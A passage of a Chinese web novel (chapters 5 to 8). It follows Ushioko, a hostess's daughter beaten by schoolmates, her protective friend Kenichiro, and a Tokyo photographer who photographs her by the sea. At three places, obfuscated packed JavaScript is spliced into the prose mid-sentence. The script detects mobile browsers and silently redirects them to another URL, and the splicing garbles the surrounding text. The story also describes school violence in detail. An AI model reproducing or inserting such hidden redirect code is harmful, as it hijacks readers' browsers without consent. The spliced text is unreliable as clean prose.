“这一下,是你中午那双眼睛的。你也配看清源幸司?你知道开成是什么地方吗?那是东京的少爷们读的学校,你这种乡下卖酒女,一辈子都进不去的地方。” 潮子咬紧牙,没出声。 “啪。” “这一下——没什么,就是想打。” 潮子的嘴角破了,血流出来,流到下巴上。 她抬起头,看着阳子,眼睛里还是那道光。 阳子愣了一下,然后笑了。 “还挺硬。”她回头看了久美一眼,“拽住她头发。” 久美走过来,一把揪住潮子的头发,把她往后拉。潮子的头被迫仰起来,脸朝着天。 阳子弯下腰,凑到她耳边,压低声音。 “你知道聪子有多讨厌你吗?你知道你这种女人,根本就不该出现在这里吗?” 潮子没说话。 “你妈是陪酒的,你将来也是陪酒的。”阳子的声音轻轻的,像在说一件理所当然的事,“读什么书啊,装什么好学生啊。早点回去陪你妈接客不好吗?” 潮子的眼睛一下子瞪大了。 她猛地挣了一下,挣开了久美的手,往前一冲,撞向阳子。 阳子没防住,被她撞得往后退了两步,一屁股坐在地上。 “你敢打我——!” 她爬起来,朝潮子扑过去。 久美也扑上来。那个高个子女生也上来了。 三个人把潮子按在地上。拳头落下来,脚踢上来,落在她身上,背上,脸上。 潮子蜷缩着,抱着头,一声不吭。 她听见阳子在骂,听见久美在笑,听见那个高个子女生的喘气声。 她什么都没说。 她只是蜷缩在那里,抱着头,咬着牙。 不知道过了多久,那几个人打够了,站直了,拍了拍身上的土。 “走。”阳子的声音,“给她留口气,下次再打。” 脚步声远了。 小树林里安静下来。 潮子趴在地上,一动不动。 过了很久,她慢慢动了动,撑着地,坐起来。 身上疼,到处都疼。脸上肿得更厉害了,嘴角还在流血,胳膊上青一块紫一块。 她坐在地上,看着自己的手。 手上都是土,指甲缝里有泥。她慢慢把手翻过来,看着掌心。 掌心也是土,还有血。 她想起中午电视里那个少年。他站在阳光下,挥棒,跑垒,被队友们围住,抱成一团。 那么亮,那么干净。 开成学院。 东京的少爷们读的学校。 她坐在地上,看着自己满是土和血的手。 “癞蛤蟆想吃天鹅肉。” 她慢慢把手握成拳头。 然后她站起来,拍了拍身上的土,一步一步,走出小树林。 夕阳照在她身上,把她长长的影子投在地上。 她没有回头。 --- 酒肆里,庆子正在擦杯子。她抬起头,看见潮子走进来。 她愣了一下。 潮子的脸肿着,嘴角有血,衣服上都是土。 “怎么——” “摔的。”潮子说。 她从母亲身边走过去,上楼,钻进阁楼里。 庆子站在那里,看着那个背影,看着楼梯口。 她想喊住她。但她没喊。 阁楼的门关上。 潮子坐在床上,看着窗外那片越来越暗的天。 她想起健一郎。不知道他奶奶怎么样了。 她想起那个少年。他在电视里笑,那么亮,那么干净。他在开成学院,穿着雪白的球衣,被阳光照着,被那么多人喊着名字。 她摸了摸自己的脸,肿的,疼的。 但她没哭。 她躺下来,闭上眼睛。 6. 第 6 章 那天下午,潮子没有去学校。 她沿着海边走,走得很慢,脚陷进沙子里,又拔出来,陷进去,又拔出来。海风吹过来,把她的头发吹乱了,她也不理,就那么走着。 她不知道自己走了多久。等停下来的时候,发现已经到了那片小时候常来的沙滩——那块她和健一郎一起爬过的礁石,那艘他修了很久的小木船,那个他第一次说“把小潮嫁给我吧”的地方。 她坐下来,面对着海。 海还是那个海,灰的,蓝的,一直在动。她看着海浪一遍一遍地打上来,又退下去,打上来,又退下去。看着看着,心里那股堵着的东西,好像松动了一点点。 风从海面上吹过来,把她的头发吹起来,吹到脸上,遮住了半边脸。她也不去拨,就那么让头发飘着。 她想起电视里那个少年。 开成学院。清源幸司。 他站在阳光下,那么亮,那么干净。她坐在海边,身上都是伤,衣服上还有昨天沾的土。 “癞蛤蟆想吃天鹅肉。” 她笑了一下。不是笑那句话,是笑自己。 然后她听见身后有声音。 “咔嚓。” 很轻的一声,像什么东西被折断。 她猛地转过头。 一个男人站在不远处,手里举着一个黑色的东西——是相机。他正对着她,被她的突然回头吓了一跳,手停在半空中,脸上的表情像个被当场抓住的孩子。 “你在做什么?” 潮子的声音比平时冷。她站起来,看着他。 男人愣住了,嘴张了张,半天才说出话来:“呃……抱歉。” 他把相机放下来,站在那里,不知道该怎么办的样子。 “你好,小姐。”他终于找回自己的声音,往前走了一步,又停住,“我是从东京来的摄影师,叫森本英世。” 潮子没说话,只是看着他。 森本被那目光看得有点不自在。那目光太直了,太亮了,里面没有那种乡下姑娘看见东京来的人该有的怯,只有一种让人不知道该怎么办的东西。 “你……你在海边的样子,”他指了指她刚才坐的地方,“很有画面感。我就忍不住拍了一张。” 潮子还是没说话。 森本站在那里,突然觉得自己像个傻子。他拍了二十多年照片,见过无数人,从来没这么紧张过。但这个女孩看他的眼神,让他觉得自己像个偷东西的贼。 “你身上的伤,”他看见了——她脸上的肿还没消,嘴角还有一道结痂的口子,“比昨天又多了。” 潮子的眼睛动了一下。 “抱歉,我没别的意思。”森本赶紧说,“我只是觉得……你好像遇到了一些困难。” 他往前走了一步,又停住。 “我也许可以帮助你。” 潮子看着他。 海风吹过来,把她的头发吹起来,露出那张满是伤的脸。她就那么看着他,不说话。 森本站在那里,等着。 过了一会儿,潮子开口了。 “怎么帮我?” 声音清冽冽的,像海浪打在礁石上溅起来的水。 “你想从我这里得到什么?” 森本愣了一下。他想起昨晚酒肆里那些男人的目光,想起她母亲挡在她面前的样子,想起她仰头喝下那杯酒的时候,眼睛里那道光。 他明白了。 这个女孩,从小在那种地方长大,见过的男人都是冲着她和她妈妈的身子来的。她不相信有人会无缘无故对她好。 “这是我的名片。” 他从口袋里掏出一张名片,递过去。 潮子接过来,低头看了一眼。名片上印着字,她认得——“森本英世”“摄影师”“东京都”。 她抬起头,看着他。 “我想给你拍一组照片。” 森本说得很坦诚。他知道,对这个女孩,不能绕弯子。 “你身上有一种特质,”他斟酌着词句,“很动人。我想把它拍下来。” 潮子没说话。 “不需要你做什么。”森本赶紧补充,“只要你穿着自己的衣服,在海边走一走就行。就现在这样,什么都不用改变。” 潮子低头看了看自己。 衣服上有土,有昨天打架留下的污渍。她想起早上洗脸的时候,镜子里那张肿着的脸。 “现在吗?” 森本看着她的脸,看着她嘴角那道还没长好的口子。 他叹了口气。 “每次见到你,”他说,“你身上都有新伤。” 潮子没说话。 “等几天吧。”森本说,“等伤口好一些。” 潮子看着他。 “几天后,”森本指了指沙滩,“还是这里,还是这个时间,可以吗?” 潮子点点头。 森本心里松了口气。 “如果可以的话,”他想了想,又说,“如果穿着捕鱼女的衣服来,就更好了。” 潮子愣了一下。 捕鱼女的衣服。 她低头看了看自己——这身衣服,已经是她最好的了。哪有什么捕鱼女的衣服。 但她没说什么。 “好。”她说。 森本站在那里,看着她。海风吹过来,把她的头发吹起来,他看见她鼻尖上那颗小小的痣,像一颗会跳舞的小黑豆。 “那我……我先走了。”他说,“几天后见。” 他转身,走了几步,又回过头。 潮子还站在那里,看着海。 他举起相机,想再拍一张,想了想,又放下了。 他走了。 潮子站在那里,听着脚步声越来越远,最后听不见了。 她低头看着手里的名片。 “森本英世”“摄影师”“东京都”。 她把名片收进口袋里。 然后她坐下来,继续看着海。 --- 不知道过了多久,她听见身后又有脚步声。 比刚才那个人的脚步声重,也快。 她没回头。 脚步声在她身后停下来。 然后是一个声音。 “潮子。” 是健一郎。 她转过头。 健一郎站在那里,离她几步远。他穿着那件洗得发白的旧衣服,脸色不太好,眼圈下面青的,像几天没睡。 他看着她。 看着她脸上的伤。看着她嘴角那道结痂的口子。看着她胳膊上那些青一块紫一块的印子。 他的眼睛一下子变了。 “谁打的?” 声音很低,但潮子听出了那声音里的东西。那不是他平时说话的声音。 “健一郎——” “谁打的?” 他往前走了一步,离她更近了。她看清了他的脸,那张晒得黑黑的脸上,有一种她从来没见过的表情。 愤怒。真实 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17486541|202041||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的、压不住的愤怒。 “是学校里那些人,对不对?”他的声音在抖,“是那个松本聪子,还有那几个跟班,对不对?” 潮子没说话。 “我去找她们。” 他转身就走。 “健一郎!” 潮子站起来,追上去,一把拉住他的胳膊。 “你别去。” 健一郎停住了,但没有回头。 “你别去”潮子的声音很轻,又说了一遍。 健一郎站在那里,背对着她。她看见他的肩膀在抖。 “你让我看着你被打?” 他的声音闷闷的,像什么东西压在嗓子眼里。 潮子没说话。 “你让我什么都不做?” 他转过身,看着她。 他的眼眶红了,但没有眼泪。 “潮子,我奶奶走了。” 潮子愣住了。 “今天早上走的。”健一郎的声音很平,像在说一件很久以前的事,“我看着她咽气的。我给她换的衣服。我烧的香。” 潮子看着他,说不出话来。 “我爸说,明天要去火葬场。”他继续说,“我要夹第一块骨头。” 他站在那里,海风吹过来,把他乱七八糟的头发吹得更乱了。 “我不知道该怎么办。” 他的声音突然低下去,低得几乎听不见。 潮子看着他。 这个男孩,从小就在她身边。她被人欺负的时候,他挡在她前面。她被她妈打的时候,他等在草窝里,提着灯笼。她难过的时候,他什么都不说,只是陪她走。 她从来没见过他这个样子。 她走过去,抱住他。 健一郎僵了一下。 然后他伸出手,抱住她。 他的力气很大,大得她有点喘不过气。但她没动。 他抱着她,头埋在她肩膀上。她感觉到他在抖,很轻的抖,像小时候那艘小木船在海浪里晃。 她想说什么,但不知道说什么。 她就那么抱着他。 过了很久,健一郎的声音从她肩膀上传过来。 “疼吗?” 潮子愣了一下。 “你的伤。”他说,“我是不是弄疼你了?” 他松开一点,低头看着她。 潮子摇摇头。 健一郎看着她,看着她脸上的伤,看着那道结痂的口子。他伸出手,想碰一下,伸到一半,又缩回去了。 “明天,”他说,“我去找她们。” 潮子看着他。 他的声音很平静,“我奶奶说,男人要有担当。” 潮子还是看着他。 “你等我。” 他说完,转身就走。 潮子站在那里,看着他的背影越走越远,最后消失在海边那片越来越暗的光里。 她站了很久。 海浪的声音从远处传来,一下,一下。 她从口袋里掏出那张名片,看了看。 “森本英世”“摄影师”“东京都”。 她把名片收回去,转身往酒肆走。 天快黑了。 --- 那天晚上,潮子躺在阁楼里,听着楼下的笑声和碰杯声。 她睡不着。 她想着健一郎。想着他刚才那个样子。想着他明天要去火葬场,要夹起奶奶的第一块骨头。想着他明天要去学校找人算账。 7. 第 7 章 第二天,健一郎起得很早。 天还没亮,他就起来了。父亲已经在院子里准备好了东西——一个白木的牌位,几束香,还有奶奶生前最喜欢的那条旧头巾。头巾是洗过的,叠得整整齐齐,放在牌位旁边。 “走吧。”父亲说。 健一郎点点头。 他们去了镇上的火葬场。那座灰扑扑的建筑在晨雾里站着,烟囱里冒着淡淡的烟。健一郎站在门口,看着那烟,看了很久。 那是奶奶。 他想起小时候,奶奶瞎了眼睛,但总能摸到他的头。她的手很糙,都是茧子,但摸在他头上的时候,他觉得那是世界上最软的手。 “健一郎,”奶奶说,“你命硬。命硬的人,要护着命软的人。” 他不知道潮子是不是命软。但他知道,他要护着她。 火化花了一个多小时。 然后就是拾骨。 工作人员把还冒着热气的骨头端出来,放在一张白布上。骨头是白的,有些地方发灰,有的还带着一点焦黑。 “来吧。”父亲说。 两根长筷子递到他手里。他接过筷子,手在抖。 第一块骨头。他夹起来,轻轻放进骨灰罐里。骨头很轻,比他想像的轻。 第二块。第三块。第四块。 他一直夹到最后一根,是头骨的一部分。他夹起来的时候,突然想起奶奶的脸,想起她笑的时候,脸上的皱纹挤在一起。 他不知道自己是怎么走出那个地方的。只记得出来后,天已经亮了,太阳挂在东边,照在他脸上,有点刺眼。 “你先回去。”他对父亲说。 “你去哪儿?” 健一郎没回答。他转身走了。 他要去找那些人。 --- 下午,聪子她们从学校里出来的时候,还没意识到有什么事要发生。 她们走在路上,说着话,笑着。阳子正在讲昨天那场架,讲潮子被打得缩在地上不敢动的样子,讲她怎么揪着潮子的头发,讲她怎么扇的那些耳光。 “她那样子,笑死人了。”阳子说。 久美也跟着笑。 只有聪子没笑。 她想着健一郎。那个从早上就一直坐在教室里的男孩。他什么都没做,什么都没说,就那么坐在那里,一整天,一动不动。 但他的眼睛一直在看她们。 不是看,是瞪。 那种目光,隔着几排座位都能感觉到。像刀子,像那天他挡在潮子面前的时候,眼睛里射出来的光。 “喂。”阳子突然压低声音,“那个健一郎来了。” 聪子猛地回头。 健一郎站在她们身后不远的地方,正看着她们。 他什么时候来的?她没听见脚步声。 “他不会要报复我们吧?”久美往聪子身边靠了靠,“他那个眼神……好可怕。” 聪子的心跳快了一下,但她脸上什么都没露出来。 “怕什么?”她说,“我们三个人,他一个人。再说,大白天的,他能怎么样?” 阳子点头:“对对对,我们下午早点走,去人多的地方。” “去镇上那家新开的咖啡店吧。”久美说,“那里人多,他不敢乱来的。” 她们加快了脚步。 健一郎没有跟上来。他站在那里,看着她们走远,然后慢慢跟在后面,不远不近,就那么跟着。 聪子一路上回了三次头。每次回头,都看见他在那里。 那个身影,像一块礁石。 --- 咖啡店在镇子最热闹的那条街上,门口挂着暖帘,里面飘出咖啡的香味。 她们进去,找了一个靠窗的位置坐下。透过窗户,可以看见外面的街道。 “他还在吗?”阳子问。 聪子往外看了一眼。 健一郎站在街对面,靠着电线杆,正看着这边。 “在。”她说。 “这人疯了。”阳子说,“他奶奶不是刚死吗?他怎么不去守灵?” 聪子没说话。她知道为什么。 因为潮子。 咖啡端上来了。她们喝着,说着话,但谁都心不在焉。阳子时不时往外看一眼,久美的杯子端起来又放下,放下又端起来。 天慢慢暗下来了。 “该走了吧?”久美说。 “再等等。”聪子说,“再晚一点,他可能就走了。” 她们又坐了半个小时。 天已经全黑了。街上的灯亮起来,昏黄的光照在行人脸上。 聪子往窗外看。 街对面空了。 “走了。”她松了口气。 她们结账,走出咖啡店。街上人还不少,她们混在人群里往前走。走到街角,拐进一条小路——那条路通往村子,比大路近,但两边都是房子,路灯也暗。 走了一会儿,阳子突然停下来。 “聪子……” 聪子抬起头。 健一郎站在前面,挡住了她们的路。 他站在路灯照不到的暗处,脸看不太清,但那双眼眼睛亮得吓人。他皱着眉,眼睛里有一种她没见过的东西——不是愤怒,是比愤怒更深的东西。 “是你们几个打的潮子?” 他的声音很低,但在那条窄巷子里,每个人都听得清清楚楚。 聪子没说话。 阳子和久美往她身后缩。 “打得她浑身是伤?” 健一郎往前走了一步。 聪子终于看清了他的脸。那张晒得黑黑的脸上,有一种让人不敢动的光。不是因为凶狠,是因为太亮了,亮得像礁石上被浪打了千百遍的地方。 她想起潮子的眼睛。也是这样的光。 “我问你们话。” 他又往前走了一步。 阳子突然尖叫起来,拉着久美就跑。她们跑得很快,跑出巷子,跑上大街,跑得不见人影了。 巷子里只剩下聪子和健一郎。 聪子站在那里,腿在抖,但她没跑。她看着他,看着他一步一步走近。 “你敢打我?”她的声音在抖,但她努力让它不抖,“你打女人?” 健一郎站在她面前,离她只有一步。 他太高了。站在这么近的地方,她得仰着头才能看见他的脸。她看见他的眼睛,看见里面那道光,看见那道光照着她,像照着一块石头。 “我不打女人。”他说。 聪子松了口气。 然后他伸出手,一把抓住她的手腕。 疼。 他的手像铁钳一样,攥得她手腕要断了。她想挣,挣不开。她想喊,喊不出来。 他把她往旁边一拽,她的后背撞在墙上。 他的另一只手抬起来,攥成拳头,朝她脸上挥过来—— 聪子紧紧闭上眼睛。 “砰!” 一声闷响。 她的脸没有疼。 她睁开眼睛。 健一郎的拳头擦过她的脸颊,砸在她身后的墙上。 墙上,砖头碎了一块,粉末簌簌往下掉。 他的手上,血正往下流。 他松开她的手腕,退后一步。 “再敢打她,”他说,声音还是那么低,“我把你们捏碎。” 他转身走了。 聪子靠在墙上,腿软得站不住。她慢慢滑下去,蹲在地上,大口大口喘气。 她的手还在抖。 她抬起头,看着他的背影。他走得很快,没有回头。 她想起刚才那只手,那只攥着她手腕的手,那只砸在墙上的手。那只手上流着血,但他好像感觉不到疼。 她想起潮子。 凭什么?凭什么那个下三滥,那个卖酒女,那个被人打了也不敢出声的东西,凭什么能有这样的男孩护着她? 她想起健一郎的脸。那张脸硬朗得很,不是那种白白净净的俊,是晒出来的、被海风吹出来的那种。眼睛很亮,看人的时候,像能把人看穿。 他对谁都不假辞色。在班上。女生跟他搭话,他不理。 他只对潮子说话。 只对潮子笑。 只对潮子伸出手。 聪子蹲在那里,看着自己还在抖的手,看着那条空空的巷子。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17486542|202041||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “潮子。”她咬着牙,把这名字从牙缝里挤出来。 “你等着。” --- 健一郎往海边走。 他走得很快,手上的伤口还在流血,但他没管。血滴在路上,一滴,一滴,他也不看。 他只想见到她。 到海边的时候,天已经全黑了。月亮升起来,照在海面上,照在沙滩上,照在那块他们从小爬的礁石上。 她坐在那里。 背对着他,面对着海。月光照在她身上,把她的影子投在沙滩上,长长的,细细的。 他站在那里,看着她。 她好像听见了脚步声,转过头来。 “健一郎?” 她站起来,朝他走过来。走近了,她看见他的手。 “你手怎么了?” 她拉住他的手,低头看。手上的血已经干了,但伤口还翻着,里面能看见肉。 “我去找她们了。”他说。 潮子抬起头,看着他。 月光照在她脸上。她脸上的伤还没全好,嘴角那道口子已经不肿了。她的眼睛很大很亮,像海里倒映的月亮。 她没说话,只是看着他。 过了一会儿,她低下头,从衣服上撕下一块布,给他包手上的伤口。 她的动作很轻,很慢。手指碰到他手的时候,凉凉的。 月光洒下来,照在她身上。她的头发被海风吹起来,一缕,一缕,拂过他的手臂。她低着头,睫毛在脸上投下淡淡的影子。那颗小小的痣,就长在鼻尖上,在月光里像一颗小小的星。 她整个人,像是从月光里长出来的。 不是那种画里的仙女,是真实的,是活的,是他在海边看着长大的。她身上有一种东西,让他移不开眼睛,他也知道长那么大,他的心里只有潮子。 他想起奶奶说的那句话:“命硬的人,要护着命软的人。” 他不知道谁命硬谁命软。他只知道,他要护着她。 “好了。”她抬起头,“还疼吗?” 他没说话。 他伸出手,抱住了她。 潮子愣了一下,她感受到健一郎强而有力的心跳,然后她伸出手,圈住了他的脖子。 她的手臂很细,圈在他脖子上,像两条小小的藤。她的脸贴在他肩膀上,他感觉到她的呼吸,一下,一下,热热的。 他抱得更紧了。 潮子抬起头,看着他。 月光照在她脸上,照在她眼睛里。那眼睛太亮了,亮得他有点不敢看。 她往前凑了凑,亲了他一下。 很轻,很软,像海浪舔过沙滩。 他没动。 她退回去,看着他。 不够。 他心想。 他把她搂得更紧了,低下头,吻上去。 不是刚才那种轻轻的吻。是横冲直撞的,是带着这些天所有东西的——奶奶的死,她的伤,那些人的话,那只砸在墙上的拳头。所有的东西,都在这一个吻里。 潮子没有躲。 她圈着他的脖子,回应着他。 海浪拍打着沙滩,一下,一下。月亮挂在头顶,照着这片海,照着这两个人。 过了很久,他松开她。 两个人都在喘气。 潮子看着他,眼睛里有一种他从来没见过的光。 “健一郎。”她说。 “嗯。” “奶奶……”她顿了顿,“奶奶走的时候,疼吗?” 健一郎摇摇头。 “不疼。”他说,“我爸给她换了衣服,我烧了香。她走的时候,脸上是笑着的。” 潮子看着他。 他继续说:“拾骨的时候,我夹起第一块骨头。很轻。” 他说完,沉默了一会儿。 “潮子。” “嗯。” “我以后不让你再受伤。” 潮子没说话。 她靠在他肩膀上,看着海。 月亮照在海面上,碎成一片一片的银光。海浪一下一下地拍过来,像是永远不会停。 她轻轻“嗯”了一声。 8. 第 8 章 那天早上,潮子在阁楼里站了很久。 她面前是母亲庆子的衣柜——一个破旧的木柜子,门歪歪斜斜的,关不严实。她打开柜门,里面挂着几件衣服,都是庆子在酒肆里穿的。艳丽的,花哨的,领口开得很低的,料子薄得能透出里面皮肤的那种。 潮子的手从那些衣服上滑过去。 在最里面,她摸到一件不一样的。 她把它抽出来。 是一件连衣裙。长袖的,领口系着一个蝴蝶结,裙摆到小腿肚。颜色是深蓝色,不是那种艳俗的蓝,是深海的颜色,沉沉的,静静的。布料是棉的,洗过很多次,边角有点发白,但没有破。 潮子认得这件衣服。 这是妈妈年轻时候的衣服。她见过一张照片——黑白的,边角都卷了——照片里的妈妈站在海边,穿着这件衣服,头发被风吹起来,笑得很开心。那是潮子没见过的一种笑,不是酒肆里的笑,是真的在笑。 她不知道妈妈为什么留着这件衣服。也许是因为那是她唯一一件不是穿来陪酒的衣服。 潮子把连衣裙举到身前,对着那面小镜子照了照。 太大了。袖子长出一截,裙摆拖到地上。领口的蝴蝶结垂在胸前,松垮垮的。 但她没有放下。 她把衣服换上,对着镜子看。 袖子太长了,她把袖口往上挽了两道。裙摆太长了,拖在地上,她想了想,把裙摆往上提了提,用别针别住。领口的蝴蝶结太大了,她重新系了一下,让它看起来不那么松垮。 她对着镜子里的自己。 镜子很旧,照出来的人模模糊糊的。但她能看见自己的脸——脸上的伤已经好了大半,嘴角那道口子只剩一条浅浅的线,不仔细看,看不出来。胳膊上的淤紫还没全消,但袖子遮住了。 她看着镜子里那双眼睛。 眼睛很亮,睫毛很长,在镜子里投下淡淡的影子。鼻尖上那颗痣,在那张小小的脸上,像是画上去的。 她想起小时候健一郎说的:“你鼻子上有颗痣,像一颗会跳舞的小黑豆。” 她笑了一下。 然后她走出阁楼。 --- 海边,森本英世已经等了一会儿了。 他架好了相机,调试着光圈和快门。海风很大,吹得他的头发乱飞,他也不在意。他在等那个女孩。 小林站在旁边,手里提着备用的胶卷和镜头。 “森本先生,她会来吗?” “会。” “您怎么知道?” 森本没回答。他就是知道。 然后他看见了。 她从那条杂草丛生的小路上走出来,朝海边走过来。海风吹着她的头发,把她的头发吹起来,飘在身后。她穿着一条深蓝色的连衣裙,裙摆被风吹得贴在腿上,显出纤细的轮廓。 她走得不快,一步一步,脚陷进沙子里,又拔出来。 森本站在那里,看着那个身影,手里的相机差点没握住。 他的血液突然涌上来了。不是因为别的,是因为他看见了——那个女孩身上的光。 那条裙子太大了,袖子长出一截,被她挽了两道,露出细细的手腕。裙摆拖在沙子上,沾了沙,她也不管。领口的蝴蝶结系得不太规整,松松地垂着。 这件衣服穿在她身上,本该是不合时宜的——太大了,太旧了,颜色也太沉了。但她站在那里,这些东西都不重要了。她的身上有一种东西,把衣服的不合适全都中和掉了。那东西他说不清楚,是那种不动声色的劲儿,是那双看人的眼睛,是她站在那里什么都不做却让人觉得她该在的地方。 她走近了。 他看清了她的脸。 伤已经好了。嘴角那道口子只剩一条浅浅的线,不仔细看根本看不出来。她的眼睛很亮,不是那种被什么东西照亮的亮,是她自己就在发光。睫毛很长,在眼下投出淡淡的影子。鼻尖上那颗痣,在她那张巴掌大的脸上,像是特意点上去的。 她是他见过的最美的女孩。 不是因为五官有多精致,是因为她身上有一种东西,一种他只在最好的演员身上见过的东西——故事感。她站在那里,什么都不做,你就觉得她身上发生过很多事。那些事没有把她打碎,反而让她更完整。 她是为电影而生的女孩。 “早上好。”她说。 声音清冽冽的,像海浪打在礁石上溅起来的水。 “早上好。”森本的声音有点哑,他清了清嗓子,“你来了。” 潮子点点头。 “今天,”森本指了指她的衣服,“很好看。” 潮子低头看了看自己,没说话。 “站到那块礁石上好吗?”森本指了指海边最大的那块礁石,“随便坐,随便站,不要看镜头,就当我不在。” 潮子看了看那块礁石,走过去。 她脱掉脚上的木屐,光着脚踩上礁石。礁石被太阳晒得温温的,表面粗糙,扎脚。她也不在意,找了一个地方坐下来。 海风吹过来,把她的头发吹起来,拂过脸颊。她伸出手,摸了摸礁石上的裂纹——那些裂纹是海浪年复一年冲出来的,深深的,硬硬的。她的手指顺着那些裂纹走,像是在摸一个很老很老的东西。 然后她仰起头。 身体向后仰,手撑在礁石上,脸朝着天。海风从她脸上吹过去,把她的头发全部吹到后面,露出整张脸——额头,眉毛,眼睛,鼻尖上那颗痣。 她闭上眼睛。 森本按下了快门。 “咔嚓。” 一下,两下,三下。 他换了个角度,又拍了几张。 潮子坐在那里,闭着眼,像睡着了一样。海浪在她脚下拍着,一下,一下。阳光照在她脸上,把她整个人照得发亮。 森本的手在抖。 他拍了二十多年照片,从来没见过这样的画面。不是因为他拍得好,是因为她站在那里,光就在她身上。他只是在记录。 他有预感。 这个小渔村困不住她。她不属于这里。她应该去更大的地方——东京,银幕,被灯光照着,被所有人看见。而他手上的相机,也许就是打开那扇门的钥匙。 --- 岸边,小林站在沙滩上,看得入了神。 他旁边站着健一郎。 健一郎是跟着潮子来的。他没走近,就站在远处,看着潮子坐在礁石上,看着那个东京来的摄影师给她拍照。 他就那么站着,一动不动。 小林看了他一眼。 这个少年,像一尊雕像。黑黑的脸,硬朗的线条,眼睛很亮,直直地看着礁石上那个女孩。海风吹着他的头发,他不动。海浪打湿了他的鞋,他也不动。 他整个人像是长在沙滩上的。 “你是……潮子的朋友?”小林问。 “嗯。” “你们从小就认识?” “嗯。” 小林不知道该说什么了。他看了看健一郎,又看了看礁石上的潮子。 “你们是从东京来的?”健一郎突然问。 “对。” “为什么要给潮子拍照?” 小林想了想,说:“我们是来采风的。就是在当地遇到有特色的人或事,都会用手上的相机记录下来。” “然后呢?” “选取好的图片展览啊。”小林说,语气里带着一点自豪,“森本先生是当代最受欢迎的摄影师了,他拍的照片在日本很受欢迎。” 健一郎沉默了一会儿。 “会出名吗?”他问。 小林愣了一下。 他转过头看着健一郎。这个少年的眼睛还是看着礁石上那个女孩,但他的问题让小林有点意外。 “你希望她出名吗?”小林反问。 健一郎没有马上回答。 他看着潮子。她坐在礁石上,闭着眼睛,海风吹着她的头发。她今天穿了妈妈的衣服,那是她从来没有穿过的样子。她看起来很开心,很放松,像一条终于游进深海的鱼。 他知道她为什么穿这件衣服。 他知道她今天早上一定在镜子前站了很久。 他想起很多次,她在酒肆打烊以后,一个人坐在窗台上,看着远处。他提着灯笼等在草窝里,知道她在看什么——她在看村子里的灯火,看那些亮着灯的窗户,看那些他看不见的东西。 有时候,她会看着电视机里的那些光鲜亮丽的人,看很久,久到他走过去推她一下,她才回过神来。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17486543|202041||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>那种渴望,他看得见。 他心疼她。 他知道她有多聪明,知道她考试总是第一名,知道佐佐木老师说她是“他教过的最聪明的孩子”。他也知道她有多漂亮——是那种一眼看过去就让人惊叹的漂亮。小时候不懂,长大了就明白了。那些男人看她的眼神,他都知道。 但她也自卑。 她不会说出来,但他知道。她知道自己是陪酒女的女儿,知道村里人怎么看她们母女,知道那些女生为什么欺负她。她知道自己的衣服是最旧的,书包是破的,木屐的带子是换过好几次的。 她从来不抱怨,从来不哭。但她的自卑,藏在她看那些光鲜亮丽的人的眼神里。那种想靠近又不敢靠近的劲儿,让他心疼。 “我只希望她能开心。” 健一郎说。 声音很轻,但小林听得清清楚楚。 小林看着他,看了很久。 这个少年,站在海边,看着那个女孩,眼睛里有一种东西——不是占有,是成全。那种“她飞走了也没关系,只要她飞得高就行”的东西。 小林突然觉得鼻子有点酸。 他想起自己年轻时候的事,想起那些被风吹散的少年心事。 “她会开心的。”小林说,“她站在那里的样子,已经很开心了。” 健一郎点点头,没说话。 小林又看了看他,又看了看礁石上的潮子。 这个少年,沉静如海。他站在那里,像一块礁石,被海浪打了多少年都不动。他对那个女孩的爱,深得像这片海,宽得像这片海,沉默得像这片海。 但小林心里突然涌上来一股惋惜。 因为他知道,这个少年的爱,可能注定是个悲剧。 他见过太多这样的人了。那些在小地方长大、有天赋的人,那些注定要离开的人。他们走的时候,会带走很多东西,也会留下很多东西。留下的人,往往是最难的。 他在潮子身上看到了那种东西——那种不属于这里的东西。她像一颗种子,被风吹到了一个不该生长的地方,但她还是在长,长得比谁都好。这样的种子,迟早会被风吹走。 而健一郎,是这片土地,是这片海,是这块礁石。 他哪里也去不了。他也不想走。 小林叹了一口气。 --- 森本拍完了最后一个卷。 他放下相机,看着礁石上的潮子。她还闭着眼,还坐在那里,海浪还在她脚下拍着。 “好了。”他说。 潮子睁开眼睛,转过头,看着他。 “拍完了?” “嗯。” 她站起来,拍了拍裙子上的沙子,从礁石上跳下来。光脚踩在沙滩上,沙子软软的,暖暖的。 她往岸边走。 走了几步,她看见健一郎站在那里。 他站在小林旁边,看着她。 她朝他笑了一下,露出白牙。 健一郎也笑了一下,但笑得有点勉强。 潮子走过来,站在他面前。 “怎么了?” “没什么。” 她看着他,知道他没说实话。但她没追问。 “好看吗?”她低头看了看自己的裙子。 健一郎看着她。海风吹着她的头发,吹着她那件深蓝色的连衣裙。她站在那里,像从海里长出来的。 “好看。”他说。 